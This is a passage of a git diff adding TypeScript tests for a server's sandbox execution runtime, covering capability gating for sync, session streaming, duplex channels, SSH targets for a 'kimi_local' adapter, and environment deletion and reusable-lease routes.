+      snapshot: { ...FULL_GRANT, nativeSyncOut: false },
+      supportsSync: true,
+    });
+    expect(target.runner?.syncIn).toBeUndefined();
+    expect(target.runner?.syncOut).toBeUndefined();
+  });
+
+  it("still requires supportsSync even when the snapshot grants native sync", async () => {
+    const { target } = await buildSandboxTarget({ snapshot: FULL_GRANT, supportsSync: false });
+    expect(target.runner?.syncIn).toBeUndefined();
+    expect(target.runner?.syncOut).toBeUndefined();
+  });
+});
+
+// The execution target carries the concurrent-sync opt-in on both the effective
+// snapshot and the runner. The runner Boolean feeds the sync client, which then
+// tells the orchestrator whether it may run sync operations concurrently.
+describe("effective snapshot carries the concurrent-sync capability", () => {
+  beforeEach(() => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  });
+
+  it("carries the concurrent-sync opt-in on the snapshot and the runner", async () => {
+    const { target } = await buildSandboxTarget({ snapshot: FULL_GRANT, supportsSync: true });
+    expect(target.effectiveCapabilities?.concurrentSyncOperations).toBe(true);
+    expect(target.runner?.allowConcurrentSyncOperations).toBe(true);
+  });
+
+  it("keeps the concurrent-sync opt-in off when the snapshot removes it", async () => {
+    const { target } = await buildSandboxTarget({
+      snapshot: { ...FULL_GRANT, concurrentSyncOperations: false },
+      supportsSync: true,
+    });
+    expect(target.effectiveCapabilities?.concurrentSyncOperations).toBe(false);
+    expect(target.runner?.allowConcurrentSyncOperations).toBe(false);
+  });
+
+  it("keeps the concurrent-sync opt-in off when the resolution rejects", async () => {
+    // A rejected resolution carries no snapshot; it must not read as an open
+    // grant. The runner keeps the opt-in off.
+    const { target } = await buildSandboxTarget({
+      snapshot: null,
+      supportsSync: true,
+      rejectResolution: true,
+    });
+    expect(target.effectiveCapabilities).toBeUndefined();
+    expect(target.runner?.allowConcurrentSyncOperations).toBe(false);
+  });
+});
+
+// Session-output streaming is decided downstream from the carried snapshot
+// alone (see `streamAgentSessionOutput` in `acpx-engine/execute.ts`): the bridge
+// streams only when the snapshot grants `incrementalSessionOutput`. That key is
+// opt-in, so a generic one-shot provider that keeps persistent process sessions
+// and runs independent control commands, yet never declares incremental session
+// output, keeps the poll path. These tests prove the target carries the exact
+// capability that drives that decision.
+describe("effective snapshot carries the session-output-streaming capability", () => {
+  beforeEach(() => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  });
+
+  it("carries incremental session output when the snapshot grants it (stream on)", async () => {
+    const { target } = await buildSandboxTarget({ snapshot: FULL_GRANT, supportsSync: false });
+    expect(target.effectiveCapabilities?.incrementalSessionOutput).toBe(true);
+  });
+
+  it("drops incremental session output when the snapshot removes it (poll)", async () => {
+    const { target } = await buildSandboxTarget({
+      snapshot: { ...FULL_GRANT, incrementalSessionOutput: false },
+      supportsSync: false,
+    });
+    expect(target.effectiveCapabilities?.incrementalSessionOutput).toBe(false);
+  });
+
+  it("keeps the poll path for a generic one-shot provider with broad caps but no streaming opt-in", async () => {
+    // The regression case: a generic one-shot provider (for example Modal)
+    // exposes the two broad session capabilities but never emits incremental
+    // session output. The streaming gate reads `incrementalSessionOutput`, so
+    // this provider keeps the poll path.
+    const { target } = await buildSandboxTarget({
+      snapshot: {
+        ...FULL_GRANT,
+        persistentProcessSessions: true,
+        independentControlCommands: true,
+        incrementalSessionOutput: false,
+      },
+      supportsSync: false,
+    });
+    expect(target.effectiveCapabilities?.persistentProcessSessions).toBe(true);
+    expect(target.effectiveCapabilities?.independentControlCommands).toBe(true);
+    expect(target.effectiveCapabilities?.incrementalSessionOutput).toBe(false);
+  });
+});
+
+describe("effective snapshot gates the persistent-session execution decision", () => {
+  beforeEach(() => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  });
+
+  it("forces the persistent session when the snapshot grants persistent process sessions", async () => {
+    const { target, execute } = await buildSandboxTarget({ snapshot: FULL_GRANT, supportsSync: false });
+    await target.runner?.execute({ command: "node", args: ["agent.js"], useSession: true });
+    const call = execute.mock.calls[0]![0] as { forceSession?: boolean };
+    expect(call.forceSession).toBe(true);
+  });
+
+  it("never forces the persistent session when the snapshot removes persistent process sessions", async () => {
+    // The bridge still asks for the session with `useSession`, but the provider
+    // cannot keep one, so the seam runs the command one-shot instead.
+    const { target, execute } = await buildSandboxTarget({
+      snapshot: { ...FULL_GRANT, persistentProcessSessions: false },
+      supportsSync: false,
+    });
+    await target.runner?.execute({ command: "node", args: ["agent.js"], useSession: true });
+    const call = execute.mock.calls[0]![0] as { forceSession?: boolean };
+    expect(call.forceSession).toBe(false);
+  });
+});
+
+describe("a rejected capability resolution fails closed for persistent-session behavior", () => {
+  beforeEach(() => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  });
+
+  it("omits the snapshot when the resolution rejects", async () => {
+    // A rejected resolution carries no snapshot; the target never publishes a
+    // guessed capability set.
+    const { target } = await buildSandboxTarget({
+      snapshot: null,
+      supportsSync: false,
+      rejectResolution: true,
+    });
+    expect(target.effectiveCapabilities).toBeUndefined();
+  });
+
+  it("carries no snapshot for session-output streaming when the resolution rejects", async () => {
+    // A rejected resolution must not read as an open grant that enables
+    // streaming. The target carries no snapshot, so the bridge keeps the host
+    // output-file poll path.
+    const { target } = await buildSandboxTarget({
+      snapshot: null,
+      supportsSync: false,
+      rejectResolution: true,
+    });
+    expect(target.effectiveCapabilities).toBeUndefined();
+  });
+
+  it("never forces the persistent session when the resolution rejects", async () => {
+    // The bridge asks for the session with `useSession`, but a rejected
+    // resolution fails closed, so the seam runs the command one-shot instead.
+    const { target, execute } = await buildSandboxTarget({
+      snapshot: null,
+      supportsSync: false,
+      rejectResolution: true,
+    });
+    await target.runner?.execute({ command: "node", args: ["agent.js"], useSession: true });
+    const call = execute.mock.calls[0]![0] as { forceSession?: boolean };
+    expect(call.forceSession).toBe(false);
+  });
+
+  it("omits the native sync hooks when the resolution rejects", async () => {
+    // The worker advertises both sync verbs, but a rejected resolution must not
+    // read as an open grant. Fail closed and keep the base64 fallback, so an
+    // unverified provider never gets the native sync path.
+    const { target } = await buildSandboxTarget({
+      snapshot: null,
+      supportsSync: true,
+      rejectResolution: true,
+    });
+    expect(target.runner?.syncIn).toBeUndefined();
+    expect(target.runner?.syncOut).toBeUndefined();
+  });
+});
diff --git a/server/src/__tests__/environment-execution-target-duplex.test.ts b/server/src/__tests__/environment-execution-target-duplex.test.ts
new file mode 100644
index 00000000000..7af64eb431f
--- /dev/null
+++ b/server/src/__tests__/environment-execution-target-duplex.test.ts
@@ -0,0 +1,379 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const { mockResolveEnvironmentDriverConfigForRuntime, mockResolvePluginSandboxProviderDriverById } =
+  vi.hoisted(() => ({
+    mockResolveEnvironmentDriverConfigForRuntime: vi.fn(),
+    mockResolvePluginSandboxProviderDriverById: vi.fn(),
+  }));
+
+vi.mock("../services/environment-config.js", () => ({
+  resolveEnvironmentDriverConfigForRuntime: mockResolveEnvironmentDriverConfigForRuntime,
+}));
+
+// The centralized duplex authorization gate resolves the exact lease capability
+// snapshot before it calls the driver. The plugin branch of the snapshot reads
+// the pinned plugin's declaration from the database. These service tests carry no
+// database, so replace only the by-id declaration resolver. The test sets the
+// resolved declaration per case; every other export stays real.
+vi.mock("../services/plugin-environment-driver.js", async (importActual) => ({
+  ...(await importActual<typeof import("../services/plugin-environment-driver.js")>()),
+  resolvePluginSandboxProviderDriverById: mockResolvePluginSandboxProviderDriverById,
+}));
+
+import type { EffectiveSandboxCapabilities } from "@paperclipai/adapter-utils/execution-target";
+import { createSshCommandManagedRuntimeRunner } from "@paperclipai/adapter-utils/ssh";
+import type { Environment, EnvironmentLease } from "@paperclipai/shared";
+import { resolveEnvironmentExecutionTarget } from "../services/environment-execution-target.js";
+import {
+  buildSandboxCapabilityNarrowing,
+  environmentRuntimeService,
+} from "../services/environment-runtime.js";
+import type {
+  EnvironmentRuntimeDriver,
+  EnvironmentRuntimeService,
+} from "../services/environment-runtime.js";
+import type {
+  DuplexChannelHostSession,
+  PluginWorkerManager,
+} from "../services/plugin-worker-manager.js";
+
+// A snapshot that grants the opt-in duplex capability, plus the rest true so the
+// gate reads only the duplex flag.
+const DUPLEX_GRANT: EffectiveSandboxCapabilities = {
+  reusableLeases: true,
+  nativeSyncIn: true,
+  nativeSyncOut: true,
+  persistentProcessSessions: true,
+  independentControlCommands: true,
+  incrementalSessionOutput: true,
+  duplexCommandStream: true,
+};
+
+const DUPLEX_ABSENT: EffectiveSandboxCapabilities = {
+  ...DUPLEX_GRANT,
+  duplexCommandStream: false,
+};
+
+function flushMicrotasks(): Promise<void> {
+  return new Promise((resolve) => setTimeout(resolve, 0));
+}
+
+// A fake worker manager whose one worker returns a controllable host session.
+// The session records every host→worker call and lets the test settle the exit.
+function makeFakeWorkerManager() {
+  let settleWait: (value: { exitCode: number | null }) => void = () => {};
+  const waitPromise = new Promise<{ exitCode: number | null }>((resolve) => {
+    settleWait = resolve;
+  });
+  const hostSession = {
+    onData: vi.fn(),
+    write: vi.fn(),
+    wait: vi.fn(() => waitPromise),
+    kill: vi.fn(),
+    close: vi.fn(async () => {}),
+  } satisfies DuplexChannelHostSession;
+  const openDuplexChannel = vi.fn(async () => hostSession);
+  const worker = { openDuplexChannel, supportedMethods: ["duplexChannelOpen"] };
+  const manager = {
+    getWorker: vi.fn(() => worker),
+  } as unknown as PluginWorkerManager;
+  return { manager, worker, hostSession, openDuplexChannel, settleWait };
+}
+
+const PLUGIN_LEASE: EnvironmentLease = {
+  id: "lease-1",
+  companyId: "company-1",
+  providerLeaseId: "provider-lease-1",
+  metadata: {
+    sandboxProviderPlugin: true,
+    pluginId: "test.plugin",
+    provider: "daytona",
+  },
+} as unknown as EnvironmentLease;
+
+const SANDBOX_ENVIRONMENT: Environment = {
+  id: "env-1",
+  driver: "sandbox",
+} as unknown as Environment;
+
+// A plugin driver declaration that grants the opt-in duplex capability. The
+// centralized gate reads it through the by-id resolver and pairs it with the
+// worker's verified `duplexChannelOpen` verb to grant the capability.
+const DUPLEX_DECLARED_DRIVER = {
+  plugin: {},
+  driver: { sandboxCapabilities: { duplexCommandStream: true } },
+};
+
+// The fixed refusal the centralized gate throws when the lease does not grant the
+// opt-in duplex capability.
+const DUPLEX_DENIED = /does not grant the duplex command stream capability/;
+
+beforeEach(() => {
+  // The default resolves a clean sandbox config and a declaration that grants the
+  // duplex capability, so the plugin lease reaches the worker. Each refusal test
+  // overrides one input to deny the capability.
+  mockResolveEnvironmentDriverConfigForRuntime.mockReset();
+  mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
+    driver: "sandbox",
+    config: { provider: "daytona", timeoutMs: 30_000 },
+  });
+  mockResolvePluginSandboxProviderDriverById.mockReset();
+  mockResolvePluginSandboxProviderDriverById.mockResolvedValue(DUPLEX_DECLARED_DRIVER);
+});
+
+describe("sandbox driver duplex channel wiring", () => {
+  it("reaches the worker manager route with the lease scope and delegates the channel members", async () => {
+    const { manager, worker, hostSession, settleWait } = makeFakeWorkerManager();
+    const service = environmentRuntimeService({} as never, { pluginWorkerManager: manager });
+
+    const channel = await service.openDuplexChannel({
+      environment: SANDBOX_ENVIRONMENT,
+      lease: PLUGIN_LEASE,
+      command: "bridge-callback",
+    });
+
+    // The driver resolves the worker by the pinned plugin id and passes the same
+    // lease scope the sandbox execute path uses.
+    expect(manager.getWorker).toHaveBeenCalledWith("test.plugin");
+    expect(worker.openDuplexChannel).toHaveBeenCalledWith({
+      driverKey: "daytona",
+      companyId: "company-1",
+      environmentId: "env-1",
+      providerLeaseId: "provider-lease-1",
+      command: "bridge-callback",
+    });
+
+    // write / stop / close map to write / kill / close on the host session.
+    channel.write("input-bytes");
+    expect(hostSession.write).toHaveBeenCalledWith("input-bytes");
+    channel.stop();
+    expect(hostSession.kill).toHaveBeenCalledTimes(1);
+    await channel.close();
+    expect(hostSession.close).toHaveBeenCalledTimes(1);
+
+    // onData maps one to one.
+    const dataListener = vi.fn();
+    channel.onData(dataListener);
+    expect(hostSession.onData).toHaveBeenCalledWith(dataListener);
+
+    // onExit bridges the host session's one-time wait() to the exit listener.
+    const exitListener = vi.fn();
+    channel.onExit(exitListener);
+    expect(exitListener).not.toHaveBeenCalled();
+    settleWait({ exitCode: 7 });
+    await flushMicrotasks();
+    expect(exitListener).toHaveBeenCalledWith({ exitCode: 7 });
+  });
+
+  it("refuses a lease that is not a plugin-backed sandbox lease before it reaches the worker", async () => {
+    const { manager, worker } = makeFakeWorkerManager();
+    const service = environmentRuntimeService({} as never, { pluginWorkerManager: manager });
+    const nonPluginLease = {
+      id: "lease-2",
+      companyId: "company-1",
+      providerLeaseId: "provider-lease-2",
+      metadata: { pluginId: "test.plugin", provider: "daytona" },
+    } as unknown as EnvironmentLease;
+
+    // The lease is not a plugin-backed sandbox lease, so the effective snapshot
+    // never grants the opt-in duplex capability. The centralized gate refuses the
+    // open before the driver, so the worker `duplexChannelOpen` RPC never runs.
+    await expect(
+      service.openDuplexChannel({
+        environment: SANDBOX_ENVIRONMENT,
+        lease: nonPluginLease,
+        command: "bridge-callback",
+      }),
+    ).rejects.toThrow(DUPLEX_DENIED);
+    expect(worker.openDuplexChannel).not.toHaveBeenCalled();
+  });
+});
+
+// Direct regressions for the centralized authorization gate on
+// EnvironmentRuntimeService.openDuplexChannel. The gate resolves the exact lease
+// capability snapshot and refuses unless it grants the opt-in duplex capability.
+// Every refusal must happen before the driver, so the worker `duplexChannelOpen`
+// RPC never runs.
+describe("EnvironmentRuntimeService.openDuplexChannel capability gate", () => {
+  it("refuses a lease whose provider does not declare the duplex capability", async () => {
+    const { manager, worker } = makeFakeWorkerManager();
+    // The worker verifies the duplex verb, but the declaration omits the opt-in
+    // capability. An opt-in capability needs an explicit declaration, so the
+    // effective snapshot denies it.
+    mockResolvePluginSandboxProviderDriverById.mockResolvedValue({ plugin: {}, driver: {} });
+    const service = environmentRuntimeService({} as never, { pluginWorkerManager: manager });
+
+    await expect(
+      service.openDuplexChannel({
+        environment: SANDBOX_ENVIRONMENT,
+        lease: PLUGIN_LEASE,
+        command: "bridge-callback",
+      }),
+    ).rejects.toThrow(DUPLEX_DENIED);
+    expect(worker.openDuplexChannel).not.toHaveBeenCalled();
+  });
+
+  it("refuses a lease whose worker does not verify the duplex verb", async () => {
+    const { manager, worker } = makeFakeWorkerManager();
+    // The declaration grants the capability, but the worker does not advertise
+    // the `duplexChannelOpen` verb, so the runtime never verified it. A
+    // declaration never grants an unverified capability.
+    worker.supportedMethods = [];
+    const service = environmentRuntimeService({} as never, { pluginWorkerManager: manager });
+
+    await expect(
+      service.openDuplexChannel({
+        environment: SANDBOX_ENVIRONMENT,
+        lease: PLUGIN_LEASE,
+        command: "bridge-callback",
+      }),
+    ).rejects.toThrow(DUPLEX_DENIED);
+    expect(worker.openDuplexChannel).not.toHaveBeenCalled();
+  });
+
+  it("refuses a lease narrowed away from the duplex capability", async () => {
+    // A fake driver returns a snapshot that grants every capability except the
+    // duplex one, which models a lease narrowed away from it. The gate keys on
+    // the exact duplex flag, so it refuses even though the other capabilities are
+    // granted, and never calls the driver open.
+    const openDuplexChannel = vi.fn();
+    const narrowedDriver = {
+      driver: "sandbox",
+      acquireRunLease: vi.fn(),
+      releaseRunLease: vi.fn(),
+      effectiveSandboxCapabilities: vi.fn(async () => ({ ...DUPLEX_ABSENT })),
+      openDuplexChannel,
+    } as unknown as EnvironmentRuntimeDriver;
+    const service = environmentRuntimeService({} as never, { drivers: [narrowedDriver] });
+
+    await expect(
+      service.openDuplexChannel({
+        environment: SANDBOX_ENVIRONMENT,
+        lease: { ...PLUGIN_LEASE, metadata: { ...PLUGIN_LEASE.metadata, driver: "sandbox" } },
+        command: "bridge-callback",
+      }),
+    ).rejects.toThrow(DUPLEX_DENIED);
+    expect(openDuplexChannel).not.toHaveBeenCalled();
+  });
+
+  it("refuses a lease whose provider config fails to resolve", async () => {
+    const { manager, worker } = makeFakeWorkerManager();
+    // The declaration grants the capability and the worker verifies the verb, but
+    // the provider config cannot be resolved. An untrusted provider fails closed,
+    // so the config-resolution failure narrows the duplex capability away.
+    mockResolveEnvironmentDriverConfigForRuntime.mockRejectedValue(new Error("config unresolved"));
+    const service = environmentRuntimeService({} as never, { pluginWorkerManager: manager });
+
+    await expect(
+      service.openDuplexChannel({
+        environment: SANDBOX_ENVIRONMENT,
+        lease: PLUGIN_LEASE,
+        command: "bridge-callback",
+      }),
+    ).rejects.toThrow(DUPLEX_DENIED);
+    expect(worker.openDuplexChannel).not.toHaveBeenCalled();
+  });
+
+  it("narrows the duplex capability away when the provider config resolution fails", () => {
+    // Unit cover for the narrowing rule the config-failure case relies on: a
+    // failed config resolution fails closed on the opt-in duplex capability.
+    const narrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "reuse_by_environment",
+      leaseMetadata: {},
+      configResolutionFailed: true,
+    });
+    expect(narrowing.duplexCommandStream).toBe(false);
+
+    const granted = buildSandboxCapabilityNarrowing({
+      leasePolicy: "reuse_by_environment",
+      leaseMetadata: {},
+      configResolutionFailed: false,
+    });
+    expect(granted.duplexCommandStream).toBeUndefined();
+  });
+});
+
+// Build a sandbox execution target with a fixed capability snapshot and a fake
+// environment runtime whose openDuplexChannel is a spy. The helper returns the
+// runner and the spy so a test reads the capability-gated member.
+async function buildSandboxRunner(input: {
+  snapshot: EffectiveSandboxCapabilities | null;
+}) {
+  mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
+    driver: "sandbox",
+    config: { provider: "daytona", timeoutMs: 30_000 },
+  });
+
+  const openDuplexChannel = vi.fn(async () => ({
+    write: vi.fn(),
+    onData: vi.fn(),
+    onExit: vi.fn(),
+    stop: vi.fn(),
+    close: vi.fn(async () => {}),
+  }));
+  const environmentRuntime = {
+    execute: vi.fn().mockResolvedValue({
+      exitCode: 0,
+      signal: null,
+      timedOut: false,
+      stdout: "ok",
+      stderr: "",
+      metadata: {},
+    }),
+    supportsSync: () => false,
+    syncIn: vi.fn(),
+    syncOut: vi.fn(),
+    openDuplexChannel,
+    effectiveSandboxCapabilities: vi.fn(async () =>
+      input.snapshot ? Object.freeze({ ...input.snapshot }) : null,
+    ),
+  } as unknown as EnvironmentRuntimeService;
+
+  const target = await resolveEnvironmentExecutionTarget({
+    db: {} as never,
+    companyId: "company-1",
+    adapterType: "codex_local",
+    environment: { id: "env-1", driver: "sandbox", config: { provider: "daytona" } },
+    leaseId: "lease-1",
+    leaseMetadata: { remoteCwd: "/work" },
+    lease: { id: "lease-1", leasePolicy: "reuse_by_environment" } as never,
+    environmentRuntime,
+  });
+  if (!target || target.kind !== "remote" || target.transport !== "sandbox") {
+    throw new Error("expected a sandbox execution target");
+  }
+  return { runner: target.runner, openDuplexChannel };
+}
+
+describe("inline sandbox runner duplex capability gate", () => {
+  it("exposes openDuplexChannel that delegates to the runtime when the capability is granted", async () => {
+    const { runner, openDuplexChannel } = await buildSandboxRunner({ snapshot: DUPLEX_GRANT });
+    expect(runner?.openDuplexChannel).toBeDefined();
+
+    await runner!.openDuplexChannel!({ command: "bridge-callback" });
+    expect(openDuplexChannel).toHaveBeenCalledWith({
+      environment: expect.objectContaining({ id: "env-1" }),
+      lease: expect.objectContaining({ id: "lease-1" }),
+      command: "bridge-callback",
+    });
+  });
+
+  it("omits openDuplexChannel when the capability is absent", async () => {
+    const { runner } = await buildSandboxRunner({ snapshot: DUPLEX_ABSENT });
+    expect(runner?.openDuplexChannel).toBeUndefined();
+  });
+
+  it("omits openDuplexChannel when the capability snapshot is null", async () => {
+    const { runner } = await buildSandboxRunner({ snapshot: null });
+    expect(runner?.openDuplexChannel).toBeUndefined();
+  });
+});
+
+describe("ssh runner factory", () => {
+  it("omits openDuplexChannel", () => {
+    const runner = createSshCommandManagedRuntimeRunner({
+      spec: { remoteCwd: "/work" } as never,
+    });
+    expect(runner.openDuplexChannel).toBeUndefined();
+  });
+});
diff --git a/server/src/__tests__/environment-execution-target.test.ts b/server/src/__tests__/environment-execution-target.test.ts
index 662cf4c0719..b9d96aabc34 100644
--- a/server/src/__tests__/environment-execution-target.test.ts
+++ b/server/src/__tests__/environment-execution-target.test.ts
@@ -258,13 +258,14 @@ describe("resolveEnvironmentExecutionTarget", () => {
     });
   });
 
-  it("resolves sandbox targets for every remote-managed adapter, including grok_local", async () => {
+  it("resolves sandbox targets for every remote-managed adapter, including grok_local and kimi_local", async () => {
     for (const adapterType of [
       "claude_local",
       "codex_local",
       "cursor",
       "gemini_local",
       "grok_local",
+      "kimi_local",
       "opencode_local",
       "pi_local",
     ]) {
@@ -358,6 +359,42 @@ describe("resolveEnvironmentExecutionTarget", () => {
     });
   });
 
+  it("resolves SSH execution targets for kimi_local", async () => {
+    mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
+      driver: "ssh",
+      config: {
+        host: "ssh.example.test",
+        port: 22,
+        username: "paperclip",
+        remoteWorkspacePath: "/srv/paperclip",
+        privateKey: "PRIVATE KEY",
+        knownHosts: "[ssh.example.test]:22 ssh-ed25519 AAAA",
+        strictHostKeyChecking: true,
+      },
+    });
+
+    const target = await resolveEnvironmentExecutionTarget({
+      db: {} as never,
+      companyId: "company-1",
+      adapterType: "kimi_local",
+      environment: {
+        id: "env-ssh-1",
+        driver: "ssh",
+        config: {},
+      },
+      leaseId: "lease-ssh-1",
+      leaseMetadata: {},
+      lease: null,
+      environmentRuntime: null,
+    });
+
+    expect(target).toMatchObject({
+      kind: "remote",
+      transport: "ssh",
+      remoteCwd: "/srv/paperclip",
+    });
+  });
+
   it("resolves SSH execution targets in bridge mode", async () => {
     mockResolveEnvironmentDriverConfigForRuntime.mockResolvedValue({
       driver: "ssh",
diff --git a/server/src/__tests__/environment-instance-routes.test.ts b/server/src/__tests__/environment-instance-routes.test.ts
index b7dc69725f3..28f24be2fbd 100644
--- a/server/src/__tests__/environment-instance-routes.test.ts
+++ b/server/src/__tests__/environment-instance-routes.test.ts
@@ -73,6 +73,9 @@ vi.mock("../services/secrets.js", () => ({
 }));
 
 vi.mock("../services/plugin-environment-driver.js", () => ({
+  // The runtime reads this published constant at import time. Mirror the real
+  // value so the mocked module keeps the same reusable-lease method contract.
+  REUSABLE_LEASE_WORKER_METHODS: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"],
   listReadyPluginEnvironmentDrivers: vi.fn(async () => []),
   resolvePluginSandboxProviderDriverByKey: vi.fn(async () => null),
   validatePluginEnvironmentDriverConfig: vi.fn(async ({ config }) => config),
diff --git a/server/src/__tests__/environment-routes.test.ts b/server/src/__tests__/environment-routes.test.ts
index 9f20cc21fe7..b828a83bf24 100644
--- a/server/src/__tests__/environment-routes.test.ts
+++ b/server/src/__tests__/environment-routes.test.ts
@@ -39,6 +39,7 @@ const mockEnvironmentService = vi.hoisted(() => ({
   update: vi.fn(),
   removeIfDeletable: vi.fn(),
   getDeleteBlastRadius: vi.fn(),
+  hasUnresolvedPendingCleanupLeases: vi.fn(),
   listLeases: vi.fn(),
   getLeaseById: vi.fn(),
 }));
@@ -109,6 +110,9 @@ vi.mock("../services/execution-workspaces.js", () => ({
 }));
 
 vi.mock("../services/plugin-environment-driver.js", () => ({
+  // The runtime reads this published constant at import time. Mirror the real
+  // value so the mocked module keeps the same reusable-lease method contract.
+  REUSABLE_LEASE_WORKER_METHODS: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"],
   listReadyPluginEnvironmentDrivers: mockListReadyPluginEnvironmentDrivers,
   resolvePluginSandboxProviderDriverByKey: mockResolvePluginSandboxProviderDriverByKey,
   startPluginEnvironmentInteractiveSetup: mockStartPluginEnvironmentInteractiveSetup,
@@ -147,6 +151,8 @@ function createDeleteBlastRadius(overrides: Partial<{
   secretBindingCount: number;
   activeLeaseCount: number;
   activeCustomImageSetupSessionCount: number;
+  pendingCleanupLeaseCount: number;
+  reusableSandboxLeaseCount: number;
 }> = {}) {
   const staticReferences = {
     isManagedLocal: overrides.isManagedLocal ?? false,
@@ -164,14 +170,20 @@ function createDeleteBlastRadius(overrides: Partial<{
       (overrides.activeLeaseCount ?? 0) > 0
       || (overrides.activeCustomImageSetupSessionCount ?? 0) > 0,
   };
+  const pendingCleanupLeaseCount = overrides.pendingCleanupLeaseCount ?? 0;
+  const reusableSandboxLeaseCount = overrides.reusableSandboxLeaseCount ?? 0;
   const deleteBlockedReasons = [
     ...(staticReferences.isManagedLocal ? ["managed_local" as const] : []),
     ...(staticReferences.isInstanceDefault ? ["instance_default" as const] : []),
+    ...(pendingCleanupLeaseCount > 0 ? ["pending_sandbox_cleanup" as const] : []),
+    ...(reusableSandboxLeaseCount > 0 ? ["reusable_sandbox_lease" as const] : []),
   ];
   return {
     environmentId: "env-1",
     canDelete: deleteBlockedReasons.length === 0,
     deleteBlockedReasons,
+    pendingCleanupLeaseCount,
+    reusableSandboxLeaseCount,
     staticReferences,
     activeRuntimeUse,
   };
@@ -252,6 +264,8 @@ describe("environment routes", () => {
     mockEnvironmentService.update.mockReset();
     mockEnvironmentService.removeIfDeletable.mockReset();
     mockEnvironmentService.getDeleteBlastRadius.mockReset();
+    mockEnvironmentService.hasUnresolvedPendingCleanupLeases.mockReset();
+    mockEnvironmentService.hasUnresolvedPendingCleanupLeases.mockResolvedValue(false);
     mockEnvironmentService.listLeases.mockReset();
     mockEnvironmentService.getLeaseById.mockReset();
     mockExecutionWorkspaceService.clearEnvironmentSelection.mockReset();
@@ -1075,6 +1089,8 @@ describe("environment routes", () => {
       environmentId: "env-1",
       canDelete: true,
       deleteBlockedReasons: [],
+      pendingCleanupLeaseCount: 0,
+      reusableSandboxLeaseCount: 0,
       staticReferences: {
         isManagedLocal: false,
         isInstanceDefault: false,
@@ -1164,7 +1180,9 @@ describe("environment routes", () => {
     expect(res.body.sandboxProviders["secure-plugin"]).toMatchObject({
       status: "supported",
       supportsRunExecution: true,
-      supportsReusableLeases: true,
+      // The mock manifest omits reusable leases, so the capability defaults to
+      // false and agrees with the execution guard.
+      supportsReusableLeases: false,
       supportsInteractiveSetup: true,
       interactiveSetupConnectionTypes: ["ssh"],
       supportsTemplateCapture: true,
@@ -1190,6 +1208,87 @@ describe("environment routes", () => {
       .toBe("supported");
   });
 
+  it("publishes reusable leases from the nested capability, not the legacy flag, so the API agrees with acquisition", async () => {
+    // The manifest sets the legacy flag `true` but the nested override `false`.
+    // Acquisition lets the nested value win and refuses reuse. The published
+    // API value must derive from the same declaration resolver and present the
+    // provider as not reusable, even when the worker verified both lifecycle
+    // methods.
+    mockListReadyPluginEnvironmentDrivers.mockResolvedValue([
+      {
+        pluginId: "plugin-1",
+        pluginKey: "acme.legacy-override-provider",
+        driverKey: "override-plugin",
+        displayName: "Override Sandbox",
+        supportsReusableLeases: true,
+        sandboxCapabilities: { reusableLeases: false },
+        reusableLeaseMethodsVerified: true,
+        configSchema: { type: "object", properties: {} },
+      },
+    ]);
+    const app = createApp({
+      type: "board",
+      userId: "user-1",
+      source: "local_implicit",
+    });
+
+    const res = await request(app).get("/api/companies/company-1/environments/capabilities");
+
+    expect(res.status).toBe(200);
+    expect(res.body.sandboxProviders["override-plugin"].supportsReusableLeases).toBe(false);
+  });
+
+  it("publishes reusable leases from the legacy flag when the manifest omits the nested override and the worker verified both methods", async () => {
+    mockListReadyPluginEnvironmentDrivers.mockResolvedValue([
+      {
+        pluginId: "plugin-1",
+        pluginKey: "acme.legacy-only-provider",
+        driverKey: "legacy-plugin",
+        displayName: "Legacy Sandbox",
+        supportsReusableLeases: true,
+        reusableLeaseMethodsVerified: true,
+        configSchema: { type: "object", properties: {} },
+      },
+    ]);
+    const app = createApp({
+      type: "board",
+      userId: "user-1",
+      source: "local_implicit",
+    });
+
+    const res = await request(app).get("/api/companies/company-1/environments/capabilities");
+
+    expect(res.status).toBe(200);
+    expect(res.body.sandboxProviders["legacy-plugin"].supportsReusableLeases).toBe(true);
+  });
+
+  it("does not publish reusable leases when the declaration allows them but the worker omits a lifecycle method", async () => {
+    // A positive declaration alone is not enough. Acquisition verifies both
+    // reuse lifecycle methods live and falls back to an ephemeral lease when one
+    // is missing. The published value must agree and present as not reusable.
+    mockListReadyPluginEnvironmentDrivers.mockResolvedValue([
+      {
+        pluginId: "plugin-1",
+        pluginKey: "acme.unverified-reuse-provider",
+        driverKey: "unverified-plugin",
+        displayName: "Unverified Reuse Sandbox",
+        sandboxCapabilities: { reusableLeases: true },
+        reusableLeaseMethodsVerified: false,
+        configSchema: { type: "object", properties: {} },
+      },
+    ]);
+    const app = createApp({
+      type: "board",
+      userId: "user-1",
+      source: "local_implicit",
+    });
+
+    const res = await request(app).get("/api/companies/company-1/environments/capabilities");
+
+    expect(res.status).toBe(200);
+    expect(res.body.sandboxProviders["unverified-plugin"].supportsReusableLeases).toBe(false);
+  });
+
   it("rejects agent list reads for instance-scoped environments", async () => {
     mockEnvironmentService.list.mockResolvedValue([createEnvironment()]);
     mockAgentService.getById.mockResolvedValue({
@@ -1436,6 +1535,153 @@ describe("environment routes", () => {
     expect(mockEnvironmentService.removeIfDeletable).not.toHaveBeenCalled();
   });
 
+  it("rejects deleting an environment with a pending sandbox cleanup", async () => {
+    const environment = {
+      ...createEnvironment(),
+      driver: "ssh" as const,
+      name: "SSH Fixture",
+      config: {
+        host: "ssh.example.test",
+        port: 22,
+        username: "ssh-user",
+        remoteWorkspacePath: "/srv/paperclip/workspace",
+        privateKey: null,
+        privateKeySecretRef: null,
+        knownHosts: null,
+        strictHostKeyChecking: true,
+      },
+    };
+    mockEnvironmentService.getById.mockResolvedValue(environment);
+    mockEnvironmentService.getDeleteBlastRadius.mockResolvedValue(createDeleteBlastRadius({
+      pendingCleanupLeaseCount: 1,
+    }));
+    const app = createApp({
+      type: "board",
+      userId: "admin-1",
+      source: "local_implicit",
+    });
+
